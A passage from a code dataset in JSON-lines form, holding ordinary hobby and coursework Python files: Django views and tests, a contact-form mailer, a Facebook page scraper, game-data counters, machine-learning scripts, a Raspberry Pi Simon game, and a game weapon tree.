HttpResponseRedirect(reverse_lazy('dashboard'))\n        else:\n            form = VideoForm()\n\n    context = {\n        'form': form,\n        'kind': 'video',\n        'action_url': reverse_lazy('new_video'),\n    }\n    return render_to_response(template_name, context,\n                              context_instance=RequestContext(request))\n\n\n@login_required(login_url=reverse_lazy('login'))\ndef edit_post(request, post_id):\n    try:\n        post = Post.objects.get(pk=post_id)\n        if post.kind == 'T':\n            return new_text(request, post_id)\n        elif post.kind == 'P':\n            return new_photo(request, post_id)\n        elif post.kind == 'V':\n            return new_video(request, post_id)\n\n    except ObjectDoesNotExist:\n        return HttpResponseRedirect(reverse_lazy('dashboard'))\n\n\n@login_required(login_url=reverse_lazy('login'))\ndef delete_post(request, post_id):\n    try:\n        post = Post.objects.get(pk=post_id, author=request.user)\n        post.delete()\n    except ObjectDoesNotExist:\n        pass\n    finally:\n        return HttpResponseRedirect(reverse_lazy('dashboard'))\n\n\n@page_template('index/index_page.html')\ndef index(request, keyword=None, template='index/index.html',\n          extra_context=None):\n    posts_group = list(media_wall(keyword=keyword))\n    q = request.GET.get('q')\n    if not q:\n        try:\n            keyword = Tag.objects.get(slug=keyword).name\n        except ObjectDoesNotExist:\n            pass\n\n    context = {\n        'posts_group': posts_group,\n        'keyword': keyword,\n    }\n    if extra_context:\n        context.update(extra_context)\n    return render_to_response(template, context,\n                              context_instance=RequestContext(request))\n\n\ndef search(request):\n    keyword = request.GET.get('q')\n    tag = slugify(unidecode(keyword))\n    if not tag:\n        return HttpResponseRedirect('/')\n    else:\n        return index(request, keyword=keyword)\n\n\n@login_required(login_url=reverse_lazy('login'))\ndef followers(request, template_name='dashboard/followers.html'):\n    user = request.user\n    follows = Follow.objects.filter(following=user)\n    followers = (follow.follower for follow in follows)\n\n    context = {\n        'followers': followers,\n    }\n    return render_to_response(template_name, context,\n                              context_instance=RequestContext(request))\n","repo_name":"mozillazg/mtum","sub_path":"mtum/dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12192,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"4664351749","text":"import requests\nimport random\nimport smtplib\nimport os\nfrom email.message import EmailMessage\n\n\n\ndef getBlogData():\n    # https://mocki.io/fake-json-api --> json website\n    return requests.get(os.getenv(\"BLOG_END_POINT\")).json()\n\n\ndef randomNumberGenerator():\n    return random.randint(1, 10)\n\n\ndef send_mail(name,mail,mobile,msg):\n    senderMail = 'thanigaisolutions@gmail.com'\n    receipient_mail = 'thanigaifacts@gmail.com'\n\n    mailMsg = EmailMessage()\n\n    mailMsg['Subject'] = 'Thanigai Facts - New Contact Form!'\n    mailMsg['From'] = senderMail\n    mailMsg['To'] = receipient_mail\n    msgfile = f\"Name : {name}\\nMail : {mail}\\nMobile : {mobile}\\nMessage : {msg}\"\n    mailMsg.set_content(msgfile)\n\n    with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:\n        smtp.login(os.getenv(\"MAIL_USER_NAME\"), os.getenv(\"MAIL_PASSWORD\"))\n        smtp.send_message(mailMsg)\n\n    return True,\"Message Sent Successfully!\"\n\n\n\n\n\n\n\n\n\n","repo_name":"ThanigaiFacts/thanigaifacts","sub_path":"utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30338664006","text":"# -*- coding: utf-8 -*-\n# A - スーパーICT高校生\n# https://atcoder.jp/contests/arc022/tasks/arc022_1\n\nS = input()\nans = ''\n\nfor s in S:\n    if len(ans) == 0 and (s == 'I' or s == 'i'):\n        ans += s\n    elif len(ans) == 1 and (s == 'C' or s == 'c'):\n        ans += s\n    elif len(ans) == 2 and (s == 'T' or s == 't'):\n        ans += s\n\nif len(ans) == 3:\n    print('YES')\nelse:\n    print('NO')\n\n# 10:41 - 10:47（AC）\n","repo_name":"yu5shi8/AtCoder","sub_path":"ARC_A/ARC022A.py","file_name":"ARC022A.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"943472","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport numpy as np\nimport os\nimport json\nimport re\nimport time\n# import datetime\n\nchrome_path = r'C:\\Users\\Roi Shmueli\\Downloads\\chromedriver_win32\\chromedriver.exe'\nbrowser = webdriver.Chrome(chrome_path)\nposts = []\nbrowser.get('https://www.facebook.com/juttoujewelry/')\n\nSCROLL_PAUSE_TIME = 0.5\n\n# Get scroll height\nlast_height = browser.execute_script(\"return document.body.scrollHeight\")\ni = 1\n\nwhile True:\n\t# Scroll down to bottom\n\tbrowser.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n\t# Wait to load page\n\ttime.sleep(SCROLL_PAUSE_TIME)\n\t# Calculate new scroll height and compare with last scroll height\n\tnew_height = browser.execute_script(\"return document.body.scrollHeight\")\n\t# if new_height == last_height:  break\n\tlast_height = new_height\n\ti = i+1\n\tif(i>200):\n\t\tbreak\n\nelement = browser.find_elements_by_class_name('userContentWrapper')\nj=1\nfor i in element:\n    time1 = i.find_element_by_class_name('_5ptz')\n    time2 = time1.get_attribute(\"title\")\n\n    print(time2)\n\n    contents = i.find_elements_by_tag_name('p')\n    content = '';\n    if len(contents) > 0:\n    \t# print(len(contents))\n    \tfor c in contents:\n    \t\tcontent = content + c.text\n\n    content = content.replace(\"\\n\", \" \")\n    content = content.replace(\"...\", \" \")\n    content = content.replace('\"', \"'\")\n    try:\n        post = {}\n        post[\"time\"] = time2\n        post[\"number\"] = j\n        post[\"content\"] = content\n        posts.append(post)\n    except AttributeError:\n    \tpass\n    j+=1\nfilename = \"data1.json\"\nwith open(filename, mode='w', encoding='utf-8') as f:\n    json.dump(posts, f, indent=2,  ensure_ascii=False)\n\nbrowser.quit()\n","repo_name":"roishmueli1/Juttou","sub_path":"cralwer.py","file_name":"cralwer.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30172459666","text":"import json\n\nf = open('lol.json')\ndata = json.load(f)\n\ninfo = data['info']\n\nframes = data[\"info\"][\"frames\"]\n\np_frames = []\n\n# set the counter\nCHAMPION_KILL = 0\nCHAMPION_SPECIAL_KILL = 0\nELITE_MONSTER_KILL = 0\nBUILDING_KILL = 0\n\nCHAMPION_KILL_INFO = []\nCHAMPION_SPECIAL_KILL_INFO = []\nELITE_MONSTER_KILL_INFO = []\nBUILDING_KILL_INFO = []\n\nfor i in range(len(frames)):\n    temp_eventList = frames[i]['events']\n    # print(len(temp_eventList))\n    for j in range(len(temp_eventList)):\n        if temp_eventList[j]['type'] == \"CHAMPION_KILL\":\n            CHAMPION_KILL = CHAMPION_KILL + 1\n            CHAMPION_KILL_INFO.append(temp_eventList[j]['timestamp'])\n            CHAMPION_KILL_INFO.append(temp_eventList[j]['position'])\n        if temp_eventList[j]['type'] == \"CHAMPION_SPECIAL_KILL\":\n            CHAMPION_SPECIAL_KILL = CHAMPION_SPECIAL_KILL + 1\n            CHAMPION_SPECIAL_KILL_INFO.append(temp_eventList[j]['timestamp'])\n            CHAMPION_SPECIAL_KILL_INFO.append(temp_eventList[j]['position'])\n        if temp_eventList[j]['type'] == \"ELITE_MONSTER_KILL\":\n            ELITE_MONSTER_KILL = ELITE_MONSTER_KILL + 1\n            ELITE_MONSTER_KILL_INFO.append(temp_eventList[j]['timestamp'])\n            ELITE_MONSTER_KILL_INFO.append(temp_eventList[j]['position'])\n        if temp_eventList[j]['type'] == \"BUILDING_KILL\":\n            BUILDING_KILL = ELITE_MONSTER_KILL + 1\n            BUILDING_KILL_INFO.append(temp_eventList[j]['timestamp'])\n\n        try:\n            if temp_eventList[j]['towerType']:\n                BUILDING_KILL_INFO.append(temp_eventList[j]['towerType'])\n            if temp_eventList[j]['buildingType']:\n                BUILDING_KILL_INFO.append(temp_eventList[j]['towerType'])\n        except KeyError:\n            continue\n\nprint(\"CHAMPION_KILL: \" + str(CHAMPION_KILL))\nprint(\"CHAMPION_SPECIAL_KILL: \" + str(CHAMPION_SPECIAL_KILL))\nprint(\"ELITE_MONSTER_KILL: \" + str(ELITE_MONSTER_KILL))\nprint(\"BUILDING_KILL: \" + str(BUILDING_KILL))\n\nprint(\"CHAMPION_KILL_INFO: \")\nprint(CHAMPION_KILL_INFO)\n\nprint(\"CHAMPION_SPECIAL_KILL_INFO: \")\nprint(CHAMPION_SPECIAL_KILL_INFO)\n\nprint(\"ELITE_MONSTER_KILL_INFO: \")\nprint(ELITE_MONSTER_KILL_INFO)\n\nprint(\"BUILDING_KILL_INFO: \")\nprint(BUILDING_KILL_INFO)\n","repo_name":"kratewong/MOBA_Data_Analysis","sub_path":"Count.py","file_name":"Count.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"43692431951","text":"from collective.geo.settings.interfaces import IGeoCustomFeatureStyle\nfrom zope.component import queryAdapter\n\n\ndef initializeCustomFeatureStyles(obj, event):\n    \"\"\"Initializes IGeoCustomFeatureStyle for AddressBlocks\n    upon object creation.\n\n    For AddressBlocks we don't want to display the map viewlet in one of the\n    default viewlet managers but only in the custom 'contact_view'.\n    \"\"\"\n    custom_styles = queryAdapter(obj, IGeoCustomFeatureStyle)\n    custom_styles.set('use_custom_styles', True)\n    custom_styles.set('map_height', '30em')\n    custom_styles.set('map_viewlet_position', 'fake-manager')  # Don't display\n","repo_name":"4teamwork/ftw.contentpage","sub_path":"ftw/contentpage/handlers/geo_config.py","file_name":"geo_config.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"72304909370","text":"from django.test import TestCase\n\nfrom smokeshop.forms import FeedbackForm\n\n\nclass FeedbackFormTestCase(TestCase):\n\n    def test_valid_form_with_correct_data(self):\n        \"\"\"Тест формы при передачи корректных данных\"\"\"\n        form = FeedbackForm(data={\n            'text': 'Some text', 'rating': 4\n        })\n        self.assertTrue(form.is_valid())\n        tag_data = '<textarea name=\"text\" cols=\"40\" rows=\"6\" class=\"form-control shadow px-2\" id=\"id_text\">'\n        self.assertIn(tag_data, form.as_p())\n\n    def test_valid_form_with_incorrect_data(self):\n        \"\"\"Тест формы при передачи некорректных данных\"\"\"\n        form = FeedbackForm(data={\n            'text': 'Some text', 'wrong_rating': 'wrong text'\n        })\n        error_data = {'rating': ['Обязательное поле.']}\n        self.assertFalse(form.is_valid())\n        self.assertEqual(error_data, form.errors)\n","repo_name":"jlomuk/shop_project","sub_path":"smokeshop/tests/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70823162809","text":"#K-Fold Cross Validation\n\n#Veriye göre algoritmalarının hangisinin daha iyi olduğunu anlamaya yarar.\n    #Split Methodundan farkı bunu katlamalı bir şekilde yapabilmesidir (n = n tane kadar sayı)\n    \nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import SVC\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.datasets import load_digits\ndigits = load_digits()\n\n\nfrom sklearn.model_selection import StratifiedKFold\n\n#Bu stratifiedKFold classification aracına hizmet eder ve buna göre şekillenir. Daha gelişmiş halidir.\n\nfolds = StratifiedKFold(n_splits=3) #Sistemi üç defa böleceğimizi söylüyoruz  (n_splits = 3 )\n\n\n\n#Burada score olarak alması için sistemi ayarlıyoruz\ndef get_score(model, X_train, X_test, y_train, y_test):\n    model.fit(X_train, y_train)\n    return model.score(X_test, y_test)\n\n\nscores_logistic = []\nscores_svm = []   #SCORE TABLOLARINI BURAYA YÜKLEYECEĞİZ \nscores_rf = []\n\n\n#Bu genel geçer bir for dönügüsü ve X ve y olarak ayırmanın farklı bir yolu\nfor train_index, test_index in folds.split(digits.data,digits.target):\n    \n    #Split'te yaptığımız gibi Digits_data burada X {Train,Test = Train_index} , y {train,test = digits.data}olarak alınıyor\n    X_train, X_test, y_train, y_test = digits.data[train_index], digits.data[test_index], \\\n                                       digits.target[train_index], digits.target[test_index]\n    scores_logistic.append(get_score(LogisticRegression(solver='liblinear',multi_class='ovr'), X_train, X_test, y_train, y_test))  \n    scores_svm.append(get_score(SVC(gamma='auto'), X_train, X_test, y_train, y_test))\n    scores_rf.append(get_score(RandomForestClassifier(n_estimators=40), X_train, X_test, y_train, y_test))\n\nscores_logistic\n\n\n\n\n\n","repo_name":"Doguhannilt/Machine-Learning-Concepts","sub_path":"StratifiedKFold.py","file_name":"StratifiedKFold.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"75071379767","text":"\"\"\"Troisième partie des exos.\"\"\"\n\nimport math\nfrom random import randint\nfrom typing import List, Union\n\nimport matplotlib.pyplot as plt\n\nEPSILON = 1e-8\nNumber = Union[int, float]\n\n\ndef distance(t: Number, x: Number) -> float:\n    \"\"\"Calculate the distance.\"\"\"\n\n    return math.sqrt((x - 0.5) ** 2 + math.exp(-2 * t * x))\n\n\ndef phi(t: Number, x: Number) -> float:\n    \"\"\"Dérivée de distance².\"\"\"\n    return 2 * x - 1 - 2 * t * math.exp(-2 * t * x)\n\n\ndef zero(t: Number, epsilon: Number) -> float:\n    \"\"\"Find the minimum.\"\"\"\n\n    a, b = 0.5, 1.0\n\n    while b - a > epsilon:\n        x = (b + a) / 2\n\n        if phi(t, x) < 0:\n            a = x\n        else:\n            b = x\n\n    return (a + b) / 2\n\n\ndef plot_til(k_max: int) -> None:\n    \"\"\"Plot the thingy.\"\"\"\n\n    x_coord: List[int] = []\n    y_coord: List[float] = []\n\n    for k in range(k_max):\n        x_coord.append(k + 1)\n        y_coord.append(zero(k + 1, EPSILON))\n\n    plt.plot(x_coord, y_coord)\n    plt.show()\n\n\ndef partial_sum(n_max: int) -> float:\n    \"\"\"Calculate the sum of un - l.\"\"\"\n\n    return sum(zero(k + 1, EPSILON) - 0.5 for k in range(n_max))\n\n\n# Exercice 986\ndef jeu(n: int, q: int) -> bool:\n    \"\"\"Simulation du jeu.\"\"\"\n    depart = n\n    pont = arrivee = 0\n\n    while True:\n        jet = randint(1, 6)\n\n        if jet in {1, 6}:\n            q -= 1\n            if q == 0:\n                return False\n        elif jet in {2, 5}:\n            if depart != 0:\n                depart -= 1\n                pont += 1\n        else:\n            if pont != 0:\n                pont -= 1\n                arrivee += 1\n                if arrivee == n:\n                    return True\n\n\ndef simulate(n: int, q: int, repet: int) -> float:\n    \"\"\"Evaluate pn,q.\"\"\"\n\n    return sum(jeu(n, q) for _ in range(repet)) / repet\n","repo_name":"Faholan/IPT","sub_path":"spe/prepa_oraux/exos_centrale_3.py","file_name":"exos_centrale_3.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6587212098","text":"# encoding: utf-8\n\nimport chap4_30\nfrom collections import Counter\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\n\n\nif __name__ == '__main__':\n    mpl.rcParams['font.family'] = 'AppleGothic'\n    cnt = Counter()\n    for sentence in chap4_30.read_neko():\n        cnt += Counter([w['surface'] for w in sentence])\n    keys, values = [], []\n    for k, v in cnt.most_common(10):\n        keys.append(k)\n        values.append(v)\n    plt.bar(range(len(keys)), values, width=0.5,\n            tick_label=keys, align='center')\n    plt.show()\n","repo_name":"KAWAYu/NLP100knock","sub_path":"Chap4/chap4_37.py","file_name":"chap4_37.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"22175598016","text":"import pytest\n\nimport cirq\nfrom cirq.interop.quirk.cells.cell import Cell, ExplicitOperationsCell\n\n\ndef test_cell_defaults():\n    class BasicCell(Cell):\n        def with_line_qubits_mapped_to(self, qubits):\n            raise NotImplementedError()\n\n        def gate_count(self) -> int:\n            raise NotImplementedError()\n\n    c = BasicCell()\n    assert c.operations() == ()\n    assert c.basis_change() == ()\n    assert c.controlled_by(cirq.LineQubit(0)) is c\n    x = []\n    c.modify_column(x)\n    assert x == []\n\n\ndef test_cell_replace_utils():\n    a, b, c = cirq.NamedQubit.range(3, prefix='q')\n    assert Cell._replace_qubit(cirq.LineQubit(1), [a, b, c]) == b\n    with pytest.raises(ValueError, match='only map from line qubits'):\n        _ = Cell._replace_qubit(cirq.GridQubit(0, 0), [a, b, c])\n    with pytest.raises(ValueError, match='not in range'):\n        _ = Cell._replace_qubit(cirq.LineQubit(-1), [a, b, c])\n    with pytest.raises(ValueError, match='not in range'):\n        _ = Cell._replace_qubit(cirq.LineQubit(999), [a, b, c])\n\n\ndef test_explicit_operations_cell_equality():\n    a = cirq.LineQubit(0)\n    eq = cirq.testing.EqualsTester()\n    eq.add_equality_group(ExplicitOperationsCell([], []), ExplicitOperationsCell([]))\n    eq.add_equality_group(ExplicitOperationsCell([cirq.X(a)], []))\n    eq.add_equality_group(ExplicitOperationsCell([], [cirq.Y(a)]))\n\n\ndef test_explicit_operations_cell():\n    a, b = cirq.LineQubit.range(2)\n    v = ExplicitOperationsCell([cirq.X(a)], [cirq.S(a)])\n    assert v.operations() == (cirq.X(a),)\n    assert v.basis_change() == (cirq.S(a),)\n    assert v.controlled_by(b) == ExplicitOperationsCell([cirq.X(a).controlled_by(b)], [cirq.S(a)])\n","repo_name":"quantumlib/Cirq","sub_path":"cirq-core/cirq/interop/quirk/cells/cell_test.py","file_name":"cell_test.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":3974,"dataset":"github-code","pt":"77"}
+{"seq_id":"69918242170","text":"###############################################\n# Name: Josiah Norman \n# Date: 2/28/2021\n###############################################\n\nimport RPi.GPIO as GPIO\nfrom time import sleep\nfrom random import randint\nimport pygame\n\nDEBUG = True\n\npygame.init()\n\nscore = 0\nswitches = [18, 19, 20, 21]\nleds = [17,16,13,12]\nsounds = [\n    pygame.mixer.Sound(\"sounds/one.wav\"),\n    pygame.mixer.Sound(\"sounds/two.wav\"),\n    pygame.mixer.Sound(\"sounds/three.wav\"),\n    pygame.mixer.Sound(\"sounds/four.wav\")\n    ]\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(switches, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\nGPIO.setup(leds, GPIO.OUT)\n\ndef all_on():\n    for i in leds:\n        GPIO.output(leds, True)\n        \ndef all_off():\n    for i in leds:\n        GPIO.output(leds, False)\n        \ndef lose():\n    for i in range(0,4):\n        all_on()\n        sleep(0.5)\n        all_off()\n        sleep(0.5)\n    print(\"You made it to a sequence of {}\".format(len(seq)-3))\n\n### The main sequence\nseq = []\n\nseq.append(randint(0,3))\nseq.append(randint(0,3))\n\nprint(\"Welcome to Simon!\")\nprint(\"Try to play the sequence back by pressing the switches\")\nprint(\"Press the switches or Ctrl+c to exit...\")\n\n\ntry:\n    while True:      #main loop\n        seq.append(randint(0,3))\n        \n        if DEBUG == True:\n            if (len(seq) > 3):\n                print(\"seq={}\".format(seq))\n                \n        for s in seq:\n            if (len(seq) < 5):\n                GPIO.output(leds[s], True)\n                sounds[s].play()\n                sleep(1)\n                GPIO.output(leds[s], False)\n                sleep(0.5)\n            elif (len(seq) >= 5) and (len(seq) < 7):\n                GPIO.output(leds[s], True)\n                sounds[s].play()\n                sleep(0.9)\n                GPIO.output(leds[s], False)\n                sleep(0.4)\n            elif (len(seq) >= 7) and (len(seq) < 10):\n                GPIO.output(leds[s], True)\n                sounds[s].play()\n                sleep(0.8)\n                GPIO.output(leds[s], False)\n                sleep(0.3)\n            elif (len(seq) >= 10) and (len(seq) < 13):\n                GPIO.output(leds[s], True)\n                sounds[s].play()\n                sleep(0.7)\n                GPIO.output(leds[s], False)\n                sleep(0.25)\n            elif (len(seq) >= 13) and (len(seq) < 15):\n                GPIO.output(leds[s], True)\n                sounds[s].play()\n                sleep(0.6)\n                GPIO.output(leds[s], False)\n                sleep(0.15)\n            elif (len(seq) > 15):\n                GPIO.output(leds[s], False)\n                sounds[s].play()\n                sleep(0.6)\n                GPIO.output(leds[s], False)\n                sleep(0.15)\n                \n\n        switch_count = 0\n        while switch_count < len(seq):\n            pressed = False\n            while not pressed:\n                for i in range(len(switches)):\n                    while GPIO.input(switches[i]) == True:\n                        val = i\n                        pressed = True\n                        \n                        \n            GPIO.output(leds[val], True)\n            sounds[val].play()\n            sleep(0.25)\n            GPIO.output(leds[val], False)\n            sleep(0.25)\n            \n            if val != seq[switch_count]:\n                lose()\n                GPIO.cleanup()\n                exit(0)\n                \n            switch_count += 1\n    \nexcept KeyboardInterrupt:\n    GPIO.cleanup()\n    print(\"Goodbye!\")","repo_name":"jojotheboomboy/ProgramingMiniProjects","sub_path":"PythonPrograms/SIMON_RPI4.py","file_name":"SIMON_RPI4.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6357930063","text":"import nltk\nimport os\nfrom gensim.models import Word2Vec\nimport regex as re\nfrom tqdm import tqdm\nimport pdftotext\ntry:\n    nltk.data.find('tokenizers/punkt')\nexcept LookupError:\n    nltk.download('punkt')\nfrom nltk.tokenize import word_tokenize\n\n\nsent_detector = nltk.data.load('tokenizers/punkt/english.pickle')\npdf_paths= '../data/English_prospectuses/'\ndir_list= os.listdir(pdf_paths)\n\nsentences= []\nfor i, pdf_name in enumerate(tqdm(dir_list)):\n    if(pdf_name[-3:]!='pdf'):\n        continue\n    path= pdf_paths + pdf_name\n    with open(path, \"rb\") as f:\n        pdf = pdftotext.PDF(f)\n    text = \"\\n\\n\".join(pdf)\n    for sentence in sent_detector.tokenize(text.lower().strip()):\n        temp_text= re.sub('[^a-zA-Z]',' ',sentence)\n        temp_text= re.sub('\\s+',' ',temp_text)\n        sentences.append(word_tokenize(temp_text))\n\n\ndim = 300\nmodel = Word2Vec(sentences=sentences, sg=1, min_count=1, size=dim)\n\nmodel.wv.save_word2vec_format(f\"../models/custom_w2v_{dim}d.txt\")\n\n","repo_name":"sakshisingh03/finsim-2020","sub_path":"utils/train_embeddings.py","file_name":"train_embeddings.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14298419968","text":"import json\nimport math\nimport pydot\nfrom os import remove\nimport pandas as pd\nfrom anytree import Node, RenderTree, PreOrderIter\nfrom anytree.exporter import UniqueDotExporter\nimport dictionary\nimport random\n\nclass weapon:\n    name = \"\"\n    coating = False\n    weight = 0.0\n    strength = 0\n    physical_damage = 0\n    critical_damage = 0\n    power = \"\"\n    agility = \"\"\n    intellect = \"\"\n    belief = \"\"\n\n    def __init__(self, name, coating, weight, strength, physical_damage, critical_damage, power, agility, intellect, belief):\n        self.name = name\n        self.coating = coating\n        self.weight = weight\n        self.strength = strength\n        self.physical_damage = physical_damage\n        self.critical_damage = critical_damage\n        self.power = power\n        self.agility = agility\n        self.intellect = intellect\n        self.belief = belief\n\n    def print_info(self):\n        line = \"\"\n        line += \"Имя: \" + str(self.name)+'\\n'\n        line += \"Возможность кратковременного усиления: \"\n        if self.coating == False:\n            line += \"нет\\n\"\n        else:\n            line += \"да\\n\"\n        line += \"Вес: \" + str(self.weight)+'\\n'\n        line +=\"Прочность: \"+str(self.strength)+'\\n'\n        line +=\"Физический урон: \"+str(self.physical_damage)+'\\n'\n        line +=\"Критический урон: \"+str(self.critical_damage)+'\\n'\n        line +=\"Влияние силы: \"+str(self.power)+'\\n'\n        line +=\"Влияние ловкости: \"+str(self.agility)+'\\n'\n        line +=\"Влияние интеллекта: \"+str(self.intellect)+'\\n'\n        line +=\"Влияние веры: \"+str(self.belief)+'\\n'\n        return line\n\ndef init_tree(self):\n    #корень(1уровень)\n    root = Node('Оружие')\n    #2 уровень\n    Melee = Node('Ближний Бой', parent = root, fil = 0)\n    Ranged = Node('Дальний бой', parent = root, fil = 0)\n    #3уровень\n    One_handed = Node('Одноручное оружие', parent= Melee)\n    Two_handed  = Node('Двуручное оружие', parent= Melee)\n    Spears_Halberds = Node('Копья и Алебарды', parent= Melee)\n    Heavy = Node('Тяжелое', parent= Ranged)\n    Light = Node('Легкое', parent= Ranged)\n    #4 уровень\n    Dagger = Node('Кинжалы', parent=One_handed)\n    Straight_Swords = Node('Прямые мечи', parent=One_handed)\n    Crooked_Swords = Node('Кривые мечи', parent=One_handed)\n    Katanas = Node('Катаны', parent=One_handed)\n    Swords_for_thrusts = Node('Мечи для выпадов', parent=One_handed)\n    Axes = Node('Топоры', parent=One_handed)\n    Whips = Node('Кнуты', parent=One_handed)\n    Fists = Node('Кулаки', parent=One_handed)\n    Big_Swords = Node('Большие мечи', parent=Two_handed)\n    Huge_swords = Node('Огромные мечи', parent=Two_handed)\n    Big_curved_swords = Node('Большие кривые мечи', parent=Two_handed)\n    Big_axes = Node('Большие секиры', parent=Two_handed)\n    Hammers = Node('Молоты', parent=Two_handed)\n    Big_Hammers = Node('Большие молоты', parent=Two_handed)\n    Spears = Node('Копья', parent=Spears_Halberds)\n    Halberds = Node('Алебарды', parent=Spears_Halberds)\n    Crossbows = Node('Арбалеты', parent=Heavy)\n    Large_bows = Node('Большие луки', parent=Heavy)\n    Bows = Node('Луки', parent=Light)\n    #листья(5 уровень)\n    tmp = Node('Большой лук драконоборца', parent = Large_bows, fil = 0,\n                inf = weapon('Большой лук драконоборца', False, 10.0, 100, 90, 100, 'C', 'C', '-','-'))\n    self.append(tmp)\n    tmp = Node('Большой лук Гоха', parent=Large_bows, fil = 0,\n                inf=weapon('Большой лук Гоха', False, 13.0, 100, 85, 100, 'B', 'C', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Утигатана', parent=Katanas,fil = 0,\n                inf=weapon('Утигатана', False, 5.0, 80, 90, 100, '-', 'B', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Иайто', parent=Katanas,fil = 0,\n                inf=weapon('Иайто', False, 5.0, 80, 88, 100, '-', 'B', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Катана', parent=Katanas,fil = 0,\n                inf=weapon('Катана', False, 8.0, 60, 90, 100, 'D', 'C', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Клинок Хаоса', parent=Katanas,fil = 0,\n                inf=weapon('Клинок Хаоса', False, 6.0, 120, 144, 100, '-', 'C', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Нож бандита', parent=Dagger,fil = 0,\n                inf=weapon('Нож бандита', False, 1.0, 200, 56, 147, 'E', 'B', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Кинжал', parent=Dagger,fil = 0,\n                inf=weapon('Кинжал', True, 0.5, 200, 56, 131, 'E', 'B', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Парирующий кинжал', parent=Dagger,fil = 0,\n                inf=weapon('Парирующий кинжал', True, 0.5, 200, 54, 131, 'E', 'B', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Призрачный клинок', parent=Dagger,fil = 0,\n                inf=weapon('Призрачный клинок', False, 0.5, 100, 110, 127, 'E', '-', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Кинжал Присциллы', parent=Dagger,fil = 0,\n                inf=weapon('Кинжал Присциллы', False, 1.0, 100, 80, 100, '-', 'A', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Тёмный Серебряный След', parent=Dagger,fil = 0,\n                inf=weapon('Тёмный Серебряный След', False, 1.0, 120, 75, 160, 'E', 'S', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Большой меч', parent=Huge_swords,fil = 0,\n                inf=weapon('Большой меч', True, 12.0, 200, 130, 100, 'C', 'D', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Двуручный меч', parent=Huge_swords,fil = 0,\n                inf=weapon('Двуручный меч', True, 10.0, 200, 130, 100, 'C', 'D', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Демоническое мачете', parent=Huge_swords,fil = 0,\n                inf=weapon('Демоническое мачете', True, 18.0, 600, 133, 100, 'B', '-', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Большой меч Черного Рыцаря', parent=Huge_swords,fil = 0,\n                inf=weapon('Большой меч Черного Рыцаря', False, 14.0, 300, 220, 100, 'B', 'E', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Большой меч дракона', parent=Huge_swords,fil = 0,\n                inf=weapon('Большой меч дракона', False, 24.0, 400, 390, 100, '-', '-', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Легкий арбалет', parent=Crossbows,fil = 0,\n                inf=weapon('Легкий арбалет', False, 3.0, 150, 50, 100, '-', '-', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Тяжелый арбалет', parent=Crossbows,fil = 0,\n                inf=weapon('Тяжелый арбалет', False, 5.0, 150, 55, 100, '-', '-', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Меткий арбалет', parent=Crossbows,fil = 0,\n                inf=weapon('Меткий арбалет', False, 8.0, 150, 52, 100, '-', '-', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Авелин', parent=Crossbows,fil = 0,\n                inf=weapon('Авелин', False, 6.0, 150, 37, 100, '-', '-', '-', '-'))\n    self.append(tmp)\n    tmp = Node('Асторский прямой меч', parent=Straight_Swords,fil = 0,\n                inf=weapon('Асторский прямой меч', False, 3.0, 160, 80, 100, 'C', 'C', '-', 'C'))\n    